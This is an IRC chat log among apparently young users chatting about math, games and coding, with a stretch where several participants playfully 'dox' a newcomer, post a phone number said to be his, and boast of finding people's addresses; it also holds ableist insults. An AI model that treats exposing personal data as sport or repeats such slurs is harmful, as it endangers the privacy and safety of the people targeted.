[2015-05-04T23:45:31-0400] <Hyper> that always makes it clear to people xP
[2015-05-04T23:45:32-0400] <Tamini> heh
[2015-05-04T23:45:35-0400] <Tamini> obviously!
[2015-05-04T23:46:00-0400] <Tamini> i was going over a pset problem with one of my college friends
[2015-05-04T23:46:16-0400] <Tamini> and he was talking to be about how his textbook started explaining simple number theory using set theory ;___;
[2015-05-04T23:49:48-0400] <+awe> ubuntor: ayyyyy
[2015-05-04T23:50:02-0400] <ubuntor> lmao
[2015-05-05T00:00:13-0400] <+awe> ubuntor: http://www.smbc-comics.com/index.php?id=3700
[2015-05-05T00:01:09-0400] <ubuntor> lagrangian multipliers!
[2015-05-05T00:02:59-0400] <+awe> http://www.smbc-comics.com/index.php?id=3694
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[2015-05-04T23:10:38-0400] <ubuntor> ...
[2015-05-04T23:10:38-0400] <+awe> And acting against the force doesn't decrease it.
[2015-05-04T23:10:43-0400] <jwoglom> never gonna run around and desert you
[2015-05-04T23:10:53-0400] <ubuntor> never gonna tell a lie
[2015-05-04T23:11:00-0400] <jwoglom> never gonna say goodbye!
[2015-05-04T23:11:02-0400] <Hyper> yeah, it was way to difficult to win when I had it doing that
[2015-05-04T23:11:19-0400] <+awe> I was expecting the game to be about trying to get the person to orbit around you and shoot them out of the field.
[2015-05-04T23:11:25-0400] <Hyper> it kinda is
[2015-05-04T23:11:27-0400] <+awe> But in practice it's just about opening the field first.
[2015-05-04T23:11:34-0400] <LittleBobbyTables> You guys sung that in the wrong order...
[2015-05-04T23:11:46-0400] <ubuntor> darn, memory is hard
[2015-05-04T23:11:47-0400] <Hyper> naw you can do some clever things with orbiting to keep your field neutral
[2015-05-04T23:12:05-0400] <Hyper> but overall I agree that is isn
[2015-05-04T23:12:07-0400] <LittleBobbyTables> Never gonna say good buy is first
[2015-05-04T23:12:11-0400] <Hyper> isn't that fun
[2015-05-04T23:12:12-0400] <LittleBobbyTables> Yes, it's good buy.
[2015-05-04T23:12:15-0400] <LittleBobbyTables> True facts with LBT
[2015-05-04T23:12:23-0400] <Hyper> but that's why I only spent a week on it ;)
[2015-05-04T23:12:30-0400] <LittleBobbyTables> He's a stingy motherfucker
[2015-05-04T23:12:33-0400] <+awe> LittleBobbyTables: lol, "I'm never going to tell you that you made a good purchase because I know you're a lousy spender and buy useless garbage."
[2015-05-04T23:12:47-0400] <LittleBobbyTables> Yep
[2015-05-04T23:24:27-0400] <+awe> Let the record show, Wikipedia is a horrible place to look for information about Math.
[2015-05-04T23:24:43-0400] <+awe> Every article on anything even remotely complex is written from the perspective of the highest level of mathematics.
[2015-05-04T23:27:26-0400] <nezorg> huh
[2015-05-04T23:27:35-0400] <nezorg> i love wiki as a math reference
[2015-05-04T23:28:01-0400] <+awe> It's *interesting*.
[2015-05-04T23:28:06-0400] <+awe> It's just often really complex.
[2015-05-04T23:28:23-0400] <nezorg> you just have to have a wide but shallow background of knowledge
[2015-05-04T23:28:37-0400] <nezorg> which is not what they teach in high school
[2015-05-04T23:28:49-0400] <+awe> Therefore, it is not readily useful to the average person who attends high school.
[2015-05-04T23:29:21-0400] <+awe> On the other hand, simple english Wikipedia is the best thing for math assuming there's an article about it.
[2015-05-04T23:30:11-0400] <+awe> Like this: http://simple.wikipedia.org/wiki/Eigenvalues_and_eigenvectors
[2015-05-04T23:37:04-0400] <jwoglom> yeah, i agree awe
[2015-05-04T23:37:19-0400] <jwoglom> if you're trying to look up info on some relatively simple math topic
[2015-05-04T23:37:24-0400] <jwoglom> it's always too complicated
[2015-05-04T23:39:18-0400] <Tamini> but the main issue is
[2015-05-04T23:39:27-0400] <Tamini> its really hard to explain math without assuming base knowledge
[2015-05-04T23:39:28-0400] <Tamini> >_>
[2015-05-04T23:41:16-0400] <ubuntor> http://www.smbc-comics.com/?id=3278
[2015-05-04T23:45:24-0400] <Hyper> Tamini: all you have to do is explain it in terms of set theory.
[2015-05-04T23:45:30-0400] <Hyper> that always makes it clear to people xP
[2015-05-04T23:45:31-0400] <Tamini> heh
[2015-05-04T23:45:34-0400] <Tamini> obviously!
[2015-05-04T23:45:59-0400] <Tamini> i was going over a pset problem with one of my college friends
[2015-05-04T23:46:16-0400] <Tamini> and he was talking to be about how his textbook started explaining simple number theory using set theory ;___;
[2015-05-04T23:49:47-0400] <+awe> ubuntor: ayyyyy
[2015-05-04T23:50:01-0400] <ubuntor> lmao
[2015-05-05T00:00:12-0400] <+awe> ubuntor: http://www.smbc-comics.com/index.php?id=3700
[2015-05-05T00:01:08-0400] <ubuntor> lagrangian multipliers!
[2015-05-05T00:02:59-0400] <+awe> http://www.smbc-comics.com/index.php?id=3694
[2015-05-05T09:33:48-0400] Mode is +nrt
[2015-05-05T09:36:00-0400] <+awe> Okay, so, can someone do me a huge favor and explain what a line integral *is*?
[2015-05-05T09:36:21-0400] <+awe> What does it actually *mean* to integrate a function along a curve?
[2015-05-05T09:38:19-0400] <+awe> The only intuition I have to its real meaning is its relationship with work, but I don't have a strong background in physics.
[2015-05-05T09:39:42-0400] <+awe> Hm, the area under a curve along the surface described by the field. That makes some sense.
[2015-05-05T09:40:03-0400] <+awe> Basically, I had the realization today after blanking on how to actually manually calculate a line integral that we never really learned what it means.
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[2015-05-05T10:04:57-0400] <calc0000> i forgot about this channel
[2015-05-05T10:06:58-0400] <+awe> hi calc0000
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[2015-05-05T10:10:12-0400] <Inkrement> Hi
[2015-05-05T10:10:24-0400] <+awe> LittleBobbyTables: ^
[2015-05-05T10:10:34-0400] <+awe> I assume LittleBobbyTables is asleep though.
[2015-05-05T10:10:41-0400] <+awe> I'd still be asleep if I didn't have my exam.
[2015-05-05T10:10:43-0400] <Inkrement> Fai enough
[2015-05-05T10:10:46-0400] <Inkrement> fair*
[2015-05-05T10:11:14-0400] <Inkrement> I think I know who assface is
[2015-05-05T10:11:38-0400] <+awe> You don't.
[2015-05-05T10:11:42-0400] <+awe> It's not Bui.
[2015-05-05T10:11:47-0400] <Inkrement> Oh
[2015-05-05T10:11:47-0400] <calc0000> hi inky
[2015-05-05T10:11:48-0400] <Inkrement> Dammit
[2015-05-05T10:11:55-0400] <Inkrement> hi calc0000
[2015-05-05T10:12:02-0400] <+awe> The only person from #vana here is calc0000.
[2015-05-05T10:12:31-0400] <Inkrement> And you :P
[2015-05-05T10:12:41-0400] <+awe> Well, sure.
[2015-05-05T10:13:03-0400] <Inkrement> Anyway, yea, I'll lurk for a bit
[2015-05-05T10:16:29-0400] <LittleBobbyTables> Hello Inkrement 
[2015-05-05T10:18:05-0400] <+awe> Oh, you are awake.
[2015-05-05T10:18:07-0400] <+awe> Why the hell are you awake?
[2015-05-05T10:19:00-0400] <LittleBobbyTables> Because I have to leave for school in like 30 minutes.
[2015-05-05T10:19:16-0400] <+awe> Oh, fair enough.
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[2015-05-05T10:23:49-0400] <LittleBobbyTables> Did he die now
[2015-05-05T10:24:29-0400] <JacobEdelman> gmorning all 
[2015-05-05T10:25:16-0400] <+awe> Inkrement: you turd
[2015-05-05T10:25:21-0400] <+awe> Good morning, JacobEdelman!
[2015-05-05T10:25:33-0400] <JacobEdelman> wait, who is Inkrement?
[2015-05-05T10:26:13-0400] <Inkrement> Hi LittleBobbyTables
[2015-05-05T10:26:21-0400] <LittleBobbyTables> He's going to be my apprentice, JacobEdelman 
[2015-05-05T10:26:42-0400] <Inkrement> That easy? Awesome
[2015-05-05T10:27:18-0400] <LittleBobbyTables> brb
[2015-05-05T10:27:21-0400] <Inkrement> My experience is limited entirely to skid level crap though
[2015-05-05T10:29:47-0400] <calc0000> apprentice in what?
[2015-05-05T10:30:06-0400] <JacobEdelman> OSU
[2015-05-05T10:30:17-0400] <calc0000> hah
[2015-05-05T10:31:19-0400] <JacobEdelman> Inkrement: I asume you already know the OSU basics?
[2015-05-05T10:31:25-0400] <JacobEdelman> *asume
[2015-05-05T10:32:28-0400] <+awe> calc0000: he's actually one of the best osu players in the world.
[2015-05-05T10:32:45-0400] <Inkrement> I don't even know what OSU is
[2015-05-05T10:33:10-0400] <Inkrement> Never heard that acronym before
[2015-05-05T10:33:56-0400] <JacobEdelman> Inkrement: its a game, (which LBT is freakishly good at, but thats besides the point)
[2015-05-05T10:34:08-0400] <JacobEdelman> so, I assume you are learning trolling from LBT
[2015-05-05T10:34:13-0400] <Inkrement> Ah, yea, I didn't come here for games
[2015-05-05T10:34:23-0400] <Inkrement> I came here to quit being a scrub lord
[2015-05-05T10:36:22-0400] <+awe> JacobEdelman: yeah, he wants to learn how to troll.
[2015-05-05T10:36:28-0400] assface (jack@pdgn-dhr.tli.frc9r1.IP) left IRC (Ping timeout: 121 seconds)
[2015-05-05T10:36:52-0400] <LittleBobbyTables> Trolling is an art
[2015-05-05T10:37:36-0400] <JacobEdelman> But I think your use of elementary and your attendance at the grill in yard one soon disqualify you from being trained in trolling
[2015-05-05T10:39:03-0400] <calc0000> what
[2015-05-05T10:39:08-0400] <calc0000> i have no idea what that sentence means
[2015-05-05T10:39:21-0400] <JacobEdelman> I don't either, really
[2015-05-05T10:39:28-0400] <JacobEdelman> I just doxed Inkrement 
[2015-05-05T10:39:30-0400] <JacobEdelman> wasn't hard
[2015-05-05T10:39:41-0400] <calc0000> he doesn't try to hide
[2015-05-05T10:40:00-0400] <+awe> I'm surprised it was _that_ easy though.
[2015-05-05T10:40:11-0400] <Inkrement>  Yea, I don't try to hide at all
[2015-05-05T10:40:17-0400] <Inkrement> I've put my name out there on quite a few places
[2015-05-05T10:40:36-0400] <Inkrement> Can you pull my address and number though, that's the real question
[2015-05-05T10:40:37-0400] <+awe> JacobEdelman: how exactly did you dox him with just the name "Inkrement?"
[2015-05-05T10:40:42-0400] <+awe> Inkrement: yes.
[2015-05-05T10:40:43-0400] <JacobEdelman> github
[2015-05-05T10:40:52-0400] <+awe> That's not him.
[2015-05-05T10:41:33-0400] <+awe> Inkrement: I've posted the address and home cost of several people in this channel going from just their name.
[2015-05-05T10:42:04-0400] <+awe> I cannot dox LittleBobbyTables completely though, even though I know a good bit about him.
[2015-05-05T10:42:13-0400] <Inkrement> I uh
[2015-05-05T10:42:24-0400] <Inkrement> I don't think I have a github under inkrement actually
[2015-05-05T10:42:27-0400] <LittleBobbyTables> All the stuff he did get I practically told him, though
[2015-05-05T10:42:31-0400] <Inkrement> I think someone stole that from me
[2015-05-05T10:42:31-0400] <+awe> Yes, that is true.
[2015-05-05T10:42:38-0400] <+awe> LittleBobbyTables: I got your high school without you telling me though.
[2015-05-05T10:42:40-0400] <Inkrement> My github is under a different name
[2015-05-05T10:42:45-0400] <LittleBobbyTables> To be fair
[2015-05-05T10:42:46-0400] <Inkrement> A name not readily associated with me
[2015-05-05T10:42:54-0400] <LittleBobbyTables> Larkaros?
[2015-05-05T10:42:55-0400] <Inkrement> Because tons of other people have it too
[2015-05-05T10:43:05-0400] <LittleBobbyTables> To be fair, awe, all my information is on HSCTF :P
[2015-05-05T10:43:16-0400] <Inkrement> That was a stupid old one :P
[2015-05-05T10:43:23-0400] <Inkrement> But no, not that one either
[2015-05-05T10:43:52-0400] <LittleBobbyTables> Getting banned in minecraft for xray
[2015-05-05T10:43:54-0400] <LittleBobbyTables> tsk tsk
[2015-05-05T10:44:03-0400] <JacobEdelman> Inkrement: +43(1)58801-18211
[2015-05-05T10:44:09-0400] <Inkrement> Which was total and utter horse shit btw
[2015-05-05T10:44:13-0400] <LittleBobbyTables> He's not Swedish
[2015-05-05T10:44:15-0400] <Inkrement> That was on an ancient server
[2015-05-05T10:44:17-0400] <+awe> JacobEdelman: you're an idiot.
[2015-05-05T10:44:17-0400] <LittleBobbyTables> wtf jacob
[2015-05-05T10:44:21-0400] <Inkrement> MineRealm or something
[2015-05-05T10:44:21-0400] <JacobEdelman> wat?
[2015-05-05T10:44:22-0400] <+awe> JacobEdelman: you're really not good at this.
[2015-05-05T10:44:25-0400] <JacobEdelman> wat?
[2015-05-05T10:44:38-0400] <+awe> did you not see the part where I said that random Swedish guy isn't him?
[2015-05-05T10:44:44-0400] <JacobEdelman> I don't believe that
[2015-05-05T10:44:45-0400] <Inkrement> LittleBobbyTables: How'd you link larakros to me though? Did awe tell you?
[2015-05-05T10:44:51-0400] <+awe> I know exactly who Inkrement is.
[2015-05-05T10:44:51-0400] <LittleBobbyTables> Magic
[2015-05-05T10:44:55-0400] <+awe> He's not Swedish.
[2015-05-05T10:44:55-0400] <JacobEdelman> really?
[2015-05-05T10:45:00-0400] <JacobEdelman> I don't got swedish
[2015-05-05T10:45:02-0400] <JacobEdelman> I gots austrian
[2015-05-05T10:45:04-0400] <Inkrement> I'm not swedish
[2015-05-05T10:45:05-0400] <+awe> Whatever.
[2015-05-05T10:45:06-0400] <LittleBobbyTables> That number is Swedish.
[2015-05-05T10:45:08-0400] <Inkrement> I'm italian
[2015-05-05T10:45:10-0400] <JacobEdelman> oh
[2015-05-05T10:45:10-0400] <Inkrement> I live in the US
[2015-05-05T10:45:11-0400] <+awe> That's not his phone number.
[2015-05-05T10:45:13-0400] <JacobEdelman> oooh
[2015-05-05T10:45:16-0400] <+awe> I know what his phone number is.
[2015-05-05T10:45:18-0400] <LittleBobbyTables> Wait no
[2015-05-05T10:45:23-0400] <JacobEdelman> wow
[2015-05-05T10:45:23-0400] <JacobEdelman> nice
[2015-05-05T10:45:26-0400] <JacobEdelman> I'll dig deeper
[2015-05-05T10:45:28-0400] <LittleBobbyTables> 46 is Swedish
[2015-05-05T10:45:28-0400] <LittleBobbyTables> my mistake
[2015-05-05T10:45:28-0400] <Inkrement> Awe: wipe that from your cell btw
[2015-05-05T10:45:32-0400] <+awe> Inkrement: ????
[2015-05-05T10:45:33-0400] <LittleBobbyTables> 43 is Austrian
[2015-05-05T10:45:34-0400] <+awe> Inkrement: why?
[2015-05-05T10:45:51-0400] <Inkrement> Because 
[2015-05-05T10:45:56-0400] <Inkrement> People may find it there :P
[2015-05-05T10:46:01-0400] <Inkrement> And it's actually not *my* phone
[2015-05-05T10:46:02-0400] <+awe> I can sell that number to prostitutes.
[2015-05-05T10:46:04-0400] <Inkrement> It's my work phone
[2015-05-05T10:46:10-0400] <+awe> Perfect!
[2015-05-05T10:46:15-0400] <Inkrement> And I'd really rather not have that get pwnd :P
[2015-05-05T10:46:23-0400] <Inkrement> Then again, if it does
[2015-05-05T10:46:24-0400] <Inkrement> New phone
[2015-05-05T10:46:26-0400] <JacobEdelman> awe: he is austrian
[2015-05-05T10:46:30-0400] <JacobEdelman> he may have moved
[2015-05-05T10:46:34-0400] <Inkrement> I'm not austrian
[2015-05-05T10:46:35-0400] <JacobEdelman> but he was originaly austrian
[2015-05-05T10:46:37-0400] <JacobEdelman> ...
[2015-05-05T10:46:42-0400] <JacobEdelman> did you live in austria?
[2015-05-05T10:46:43-0400] <+awe> JacobEdelman: we already figured out LittleBobbyTables was worng.
[2015-05-05T10:46:44-0400] <Inkrement> I told you, I'm italian
[2015-05-05T10:46:46-0400] <+awe> THat's not the point though.
[2015-05-05T10:46:49-0400] <JacobEdelman> at some point in time?
[2015-05-05T10:46:49-0400] <Inkrement> I've never left the borders of the US
[2015-05-05T10:46:50-0400] <+awe> Inkrement is in the US of A.
[2015-05-05T10:46:52-0400] <JacobEdelman> uhg
[2015-05-05T10:47:04-0400] <LittleBobbyTables> This is actually pretty funny...
[2015-05-05T10:47:15-0400] <Inkrement> I don't try to hide at all
[2015-05-05T10:47:17-0400] <Inkrement> But I have like 5 different handles
[2015-05-05T10:47:22-0400] <Inkrement> And only one of them points directly to me
[2015-05-05T10:47:29-0400] <Inkrement> Had at any rate
[2015-05-05T10:47:38-0400] <Inkrement> One I'll never tell anyone
[2015-05-05T10:47:45-0400] <Inkrement> Three everyone knows about
[2015-05-05T10:47:49-0400] <LittleBobbyTables> You realize you're going to have to tell me, right
[2015-05-05T10:47:56-0400] <Inkrement> Probably at some point
[2015-05-05T10:48:06-0400] <+awe> LittleBobbyTables: you don't even know my equivalent of the LBT handle. ;)
[2015-05-05T10:48:07-0400] <LittleBobbyTables> Alas, gentlemen, I have to leave.
[2015-05-05T10:48:19-0400] <LittleBobbyTables> awe: but I know you, sooo
[2015-05-05T10:48:28-0400] <+awe> But you don't know my top sekrit handle.
[2015-05-05T10:48:31-0400] <Inkrement> LittleBobbyTables: I'll be looking forward to learning from you
[2015-05-05T10:48:37-0400] <JacobEdelman> awe: I think his LBT handle is more or less as close as he gets to using his real name
[2015-05-05T10:48:40-0400] <Inkrement> awe: you don't know mine either :D
[2015-05-05T10:48:43-0400] <JacobEdelman> I mean, he even texts with a few of us here
[2015-05-05T10:48:55-0400] <+awe> Inkrement: yeah, but you don't do anything interesting.
[2015-05-05T10:49:03-0400] <Inkrement> I've done a few things
[2015-05-05T10:49:05-0400] <Inkrement> Skid stuff
[2015-05-05T10:49:09-0400] <Inkrement> But still
[2015-05-05T10:50:03-0400] <Inkrement> I should probably go purchase another anonymous proxy with a burner debit card from CVS or something though
[2015-05-05T10:50:07-0400] <Inkrement> I have a feeling I'll need one soon
[2015-05-05T10:51:11-0400] <fwilson> lol
[2015-05-05T10:51:13-0400] <fwilson> what
[2015-05-05T10:51:15-0400] <fwilson> hi
[2015-05-05T10:51:19-0400] <+awe> Hey, fwilson.
[2015-05-05T10:51:29-0400] <fwilson> i just requested a certificate with 30 different domains on it
[2015-05-05T10:51:54-0400] <+awe> Is it one of the CloudFlare ones?
[2015-05-05T10:52:04-0400] <+awe> They have tons of domains on one cert.
[2015-05-05T10:52:13-0400] <+awe> Mine had porn sites on the same certificate.
[2015-05-05T10:52:45-0400] <fwilson> no
[2015-05-05T10:52:47-0400] <fwilson> lol
[2015-05-05T11:56:48-0400] <LittleBobbyTables> What sites, awe
[2015-05-05T11:57:08-0400] <LittleBobbyTables> JacobEdelman: nah, it's what I use with you guys.
[2015-05-05T11:57:26-0400] <LittleBobbyTables> Steam, Skype, Freenode, here, and mibbit all have different handles
[2015-05-05T12:10:44-0400] <JacobEdelman> LittleBobbyTables: how's this for fizzbuzz?
[2015-05-05T12:10:50-0400] <JacobEdelman> https://www.irccloud.com/pastebin/LLNgg7Db
[2015-05-05T12:11:37-0400] <JacobEdelman> right now you can do multiline things except you either need to encapsulate the expression in {} or have brackets placed around lines like in the above expression
[2015-05-05T12:11:52-0400] <JacobEdelman> (basicly, it cuts off an expression once it has balanced {}s)
[2015-05-05T12:24:29-0400] <+awe> LittleBobbyTables: I don't actually remember. :p
[2015-05-05T13:11:41-0400] <LittleBobbyTables> awe: why not
[2015-05-05T13:12:13-0400] <LittleBobbyTables> JacobEdelman: looks better so far. Tab over your "what do" things (line 5 7 9) though
[2015-05-05T13:12:24-0400] <+awe> Because I didn't have any interets?
[2015-05-05T13:12:25-0400] <+awe> interest*
[2015-05-05T13:12:45-0400] <LittleBobbyTables> lies
[2015-05-05T13:21:30-0400] <LittleBobbyTables> None of my friends are buying me Pitch Perfect 2 tickets :(
[2015-05-05T13:25:03-0400] <Inkrement> Pitch Perfect?
[2015-05-05T13:25:32-0400] <LittleBobbyTables> It's a glorious movie
[2015-05-05T13:25:44-0400] <Inkrement> Ah
[2015-05-05T13:25:51-0400] <LittleBobbyTables> Rebel Wilson is amazing
[2015-05-05T13:26:33-0400] <Inkrement> I see
[2015-05-05T13:26:40-0400] <Inkrement> Never seen it
[2015-05-05T13:26:46-0400] <+awe> Anna Kendrick is superbly hot.
[2015-05-05T13:26:57-0400] <Inkrement> Kate beckinsale is probably hotter
[2015-05-05T13:27:09-0400] <LittleBobbyTables> Go watch it.
[2015-05-05T13:27:16-0400] <LittleBobbyTables> We can't start your training until you do.
[2015-05-05T13:27:21-0400] <Inkrement> Ha ha ha
[2015-05-05T13:27:29-0400] <Inkrement> letmewatchthis.com I guess
[2015-05-05T13:27:35-0400] <Inkrement> Also, has anyone doxed me yet?
[2015-05-05T13:27:43-0400] <Inkrement> Other than awe and calc
[2015-05-05T13:27:44-0400] <LittleBobbyTables> Has anyone tried besides Jacob?
[2015-05-05T13:27:47-0400] <Inkrement> Because they know exactly who I am
[2015-05-05T13:28:20-0400] <Inkrement> I thought you did as well
[2015-05-05T13:28:27-0400] <Inkrement> I don't even know how you found larakaros
[2015-05-05T13:28:32-0400] <Inkrement> I forgot I even had that
[2015-05-05T13:28:38-0400] <Inkrement> That was like 3+ years ago
[2015-05-05T13:28:49-0400] <Inkrement> Awe must have told you about it though
[2015-05-05T13:28:58-0400] <Inkrement> Because there's no link from that handle to this one
[2015-05-05T13:29:09-0400] <Inkrement> Other than having been in vana
[2015-05-05T13:29:25-0400] <LittleBobbyTables> How people type is one of the biggest giveaways to linking handles
[2015-05-05T13:29:40-0400] <Inkrement> I'm a pretty neutral typer
[2015-05-05T13:29:54-0400] <LittleBobbyTables> It's why the scam against Ulbricht was so successful, lolidrops and the others typed different enough that he couldn't see it was just one person.
[2015-05-05T13:30:26-0400] <Inkrement> I usually omit things like punctuation on the end of sentences unless they're exclamations or questions
[2015-05-05T13:31:10-0400] <LittleBobbyTables> Christopher is linked to your Larakaros name, by the way.
[2015-05-05T13:31:17-0400] <LittleBobbyTables> Anyway I need to leave for work.
[2015-05-05T13:31:23-0400] <LittleBobbyTables> I'll talk to you in a couple of hours.
[2015-05-05T13:31:44-0400] <Inkrement> Sounds good, and yea, that sounds about right
[2015-05-05T13:31:48-0400] <Inkrement> I was careless back then :P
[2015-05-05T13:51:18-0400] <Inkrement> Holy shit
[2015-05-05T13:51:30-0400] <Inkrement> Some kid found videos of me sniping in a game called blackshot and seemed to like them
[2015-05-05T13:51:35-0400] <Inkrement> I don't even know how old those videos are
[2015-05-05T15:58:57-0400] <+awe> alokpathy: I see that you looked at my LinkedIn profile this week.
[2015-05-05T16:03:07-0400] <Inkrement> rekt
[2015-05-05T16:14:27-0400] <z3t>  /buffer 1
[2015-05-05T16:14:27-0400] <+awebot> z3t: 19 hours ago, LittleBobbyTables said nurd.
[2015-05-05T16:14:27-0400] <+awebot> z3t: 19 hours ago, LittleBobbyTables said nurd.
[2015-05-05T16:14:36-0400] <z3t> heh.
[2015-05-05T16:47:47-0400] <+awe> hi z3t !
[2015-05-05T16:55:08-0400] Inkrement (3f573d32@pdgn-n47.1in.adote3.IP) left IRC (Quit: http://www.mibbit.com ajax IRC Client)
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[2015-05-05T17:01:12-0400] <z3t> hi awe !
[2015-05-05T17:01:20-0400] <+awe> How's it going, friend?
[2015-05-05T17:01:50-0400] <Hyper> awe: so I kinda added a UFCS-alike to python
[2015-05-05T17:01:51-0400] <Hyper> >:D
[2015-05-05T17:02:04-0400] <+awe> Interesting.
[2015-05-05T17:02:05-0400] <Hyper> https://github.com/Hypersonic/PyUtil/blob/master/pyutil.py#L66
[2015-05-05T17:02:17-0400] <+awe> Gotta call .data lol
[2015-05-05T17:02:22-0400] <Hyper> yeah :(
[2015-05-05T17:02:27-0400] <Hyper> i'm trying to find a way around that
[2015-05-05T17:02:39-0400] <Hyper> Chain('a').join(['c', 'd', 'e']).len().data -> 5
[2015-05-05T17:24:51-0400] <Tamini_> oh, hey
[2015-05-05T17:24:54-0400] <Tamini_> a new person
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[2015-05-05T17:50:30-0400] <Inkrement> LittleBobbyTables: you back?
[2015-05-05T18:14:47-0400] <z3t> he probably got caught by the feds, Inkrement.
[2015-05-05T18:17:52-0400] <+awe> Lol, I highly doubt it.
[2015-05-05T18:44:09-0400] <fwilson> lol this
[2015-05-05T18:44:21-0400] <fwilson> new plan
[2015-05-05T18:44:29-0400] <fwilson> raspberry pi with LED that blinks when i am highlighted on IRC
[2015-05-05T18:44:37-0400] <jwoglom> why not use your watch?
[2015-05-05T18:44:41-0400] <fwilson> i do that already
[2015-05-05T18:44:43-0400] <fwilson> raspberry pi is cooler
[2015-05-05T18:44:55-0400] <jwoglom> but i can't carry a raspberry pi on my wrist
[2015-05-05T18:44:57-0400] <jwoglom> ..easily
[2015-05-05T18:45:03-0400] <fwilson> no i mean
[2015-05-05T18:45:05-0400] <fwilson> just on my desk
[2015-05-05T18:45:14-0400] <fwilson> i have notification leds
[2015-05-05T18:45:28-0400] <fwilson> because that's cool
[2015-05-05T18:46:41-0400] <+awe> fwilson: My friend set up a small machine that prints emails that have a specific phrase in the subject out on receipt paper.
[2015-05-05T18:46:48-0400] <+awe> fwilson: It was a sort of email telegraph.
[2015-05-05T18:46:55-0400] <fwilson> ooh
[2015-05-05T18:46:57-0400] <jwoglom> did you spam him with said phrase?
[2015-05-05T18:46:57-0400] <fwilson> sounds like fun
[2015-05-05T18:47:04-0400] <+awe> jwoglom: I sent him some telegraphs.
[2015-05-05T18:47:06-0400] <+awe> telegrams*
[2015-05-05T19:41:53-0400] <ubuntor> Inkrement: oh, hi
[2015-05-05T19:42:28-0400] <LittleBobbyTables> Yeah, feds caught me. Took me to lunch, paid for it, then released me.
[2015-05-05T19:42:28-0400] <+awebot> LittleBobbyTables: 3 hours ago, z3t said skid.
[2015-05-05T19:43:10-0400] <LittleBobbyTables> lel
[2015-05-05T19:48:28-0400] <+awe> LittleBobbyTables: ayyyyy.
[2015-05-05T19:48:40-0400] <LittleBobbyTables> lmaoooooo
[2015-05-05T19:48:53-0400] <LittleBobbyTables> Inkrement: rule #1: Be pro memer
[2015-05-05T19:54:46-0400] <+awe> LittleBobbyTables: HoTS is getting me into MOBAs pretty hardcore.
[2015-05-05T19:55:19-0400] <LittleBobbyTables> HoTS = Heart of the Swarm == Starcraft 2 expansion
[2015-05-05T19:56:15-0400] <Tamini> lol
[2015-05-05T19:56:25-0400] <Tamini> did i miss something about LittleBobbyTables doing skiddy things
[2015-05-05T19:56:42-0400] <LittleBobbyTables> Apparently I'm super pro blackhat and am supposed to teach this new guy
[2015-05-05T19:56:59-0400] <Tamini> mmm ic
[2015-05-05T19:57:40-0400] <+awe> LittleBobbyTables: wat?
[2015-05-05T19:57:45-0400] <+awe> LittleBobbyTables: no
[2015-05-05T19:57:46-0400] <LittleBobbyTables> HoTS = Heart of the Swarm == Starcraft 2 expansion
[2015-05-05T19:57:47-0400] <LittleBobbyTables> Yes
[2015-05-05T19:57:51-0400] <LittleBobbyTables> Don't be stupid
[2015-05-05T19:58:01-0400] <+awe> LittleBobbyTables: Heart of the Storm. Blizzard's new MOBA.
[2015-05-05T19:58:14-0400] <LittleBobbyTables> Heart of the Storm is 100% a starcraft 2 expansion
[2015-05-05T19:58:29-0400] <LittleBobbyTables> Heros of the Storm (the MOBA that you're talking about) doesn't exist because it's stupid.
[2015-05-05T19:58:33-0400] <LittleBobbyTables> Heroes*
[2015-05-05T19:58:39-0400] <+awe> Erm.
[2015-05-05T19:58:39-0400] <+awe> Yeah.
[2015-05-05T19:58:40-0400] <+awe> HEroes.
[2015-05-05T19:58:47-0400] <+awe> Why doesn't it exist?
[2015-05-05T19:58:57-0400] <LittleBobbyTables> Because it's stupid
[2015-05-05T19:59:00-0400] <+awe> Why is it stupid?
[2015-05-05T19:59:18-0400] <LittleBobbyTables> League is the dota for people with downs
[2015-05-05T19:59:29-0400] <LittleBobbyTables> HoTS is the league for people that don't know how to use a computer
[2015-05-05T19:59:53-0400] <+awe> Why?
[2015-05-05T20:00:15-0400] <LittleBobbyTables> There's really nothing to it at all
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[2015-05-05T20:01:09-0400] <LittleBobbyTables> assface: hots?
[2015-05-05T20:01:28-0400] <+awe> I'm enjoying it.
[2015-05-05T20:02:03-0400] <LittleBobbyTables> It's not really even a moba
[2015-05-05T20:02:20-0400] <LittleBobbyTables> It's like a really fast rpg's pvp
[2015-05-05T20:03:23-0400] <+awe> So?
[2015-05-05T20:03:59-0400] <+awe> League was frustratingly bad when I tried it with some friends (admittedly, those friends are awful people and basically all they did was throw me into a game, not tell me anything about how to play, and then complain when I died)
[2015-05-05T20:04:51-0400] <LittleBobbyTables> League is a casual game (ergo dota for people with downs)
[2015-05-05T20:05:03-0400] <LittleBobbyTables> HoTS doesn't really show you much MOBA
[2015-05-05T20:05:19-0400] <LittleBobbyTables> It's like
[2015-05-05T20:05:25-0400] <LittleBobbyTables> TA in GW1
[2015-05-05T20:05:37-0400] <LittleBobbyTables> Except, you level up from level 1 instead of starting at level 25
[2015-05-05T20:09:58-0400] <+awe> I mean, I hated League when I played it.
[2015-05-05T20:10:03-0400] <+awe> And DoTA wasn't much better.
[2015-05-05T20:10:09-0400] <+awe> So, I don't really care if it's a true MOBA.
[2015-05-05T20:10:11-0400] <+awe> I actually enjoy playing it.
[2015-05-05T20:10:15-0400] <LittleBobbyTables> League is meant for casual play
[2015-05-05T20:10:24-0400] <LittleBobbyTables> DotA is significantly more  competitive
[2015-05-05T20:10:35-0400] <LittleBobbyTables> HoTS is like...
[2015-05-05T20:10:50-0400] <LittleBobbyTables> Learning Java so you can learn Assembly right after.
[2015-05-05T20:11:08-0400] <+awe> Meh.
[2015-05-05T20:11:16-0400] <+awe> That's assuming I have any intention to play DoTA.
[2015-05-05T20:11:52-0400] <LittleBobbyTables> Actually no
[2015-05-05T20:11:54-0400] <LittleBobbyTables> It's more like
[2015-05-05T20:11:59-0400] <LittleBobbyTables> learning CJam so you can learn Java
[2015-05-05T20:12:03-0400] <LittleBobbyTables> (hots to league)
[2015-05-05T20:12:13-0400] <LittleBobbyTables> while Java to C(++) is league to dota
[2015-05-05T20:16:13-0400] <+awe> Again, you're insinuating that playing one game means you're somehow planning to play another game.
[2015-05-05T20:16:24-0400] <+awe> I play games for fun.
[2015-05-05T20:16:49-0400] <+awe> I also like Awesomenauts.
[2015-05-05T20:26:19-0400] <ubuntor> well, one game leads to another, and before you know it, you're injecting 10 games into your arm
[2015-05-05T20:26:28-0400] <+awe> ubuntor: Ah, the good ole gateway game theory.
[2015-05-05T20:44:12-0400] <+awe> LittleBobbyTables: care to explain what exactly makes it not a MOBA?
[2015-05-05T21:11:42-0400] <fwilson> tilp -> libticalcs -> ticables -> libticonv
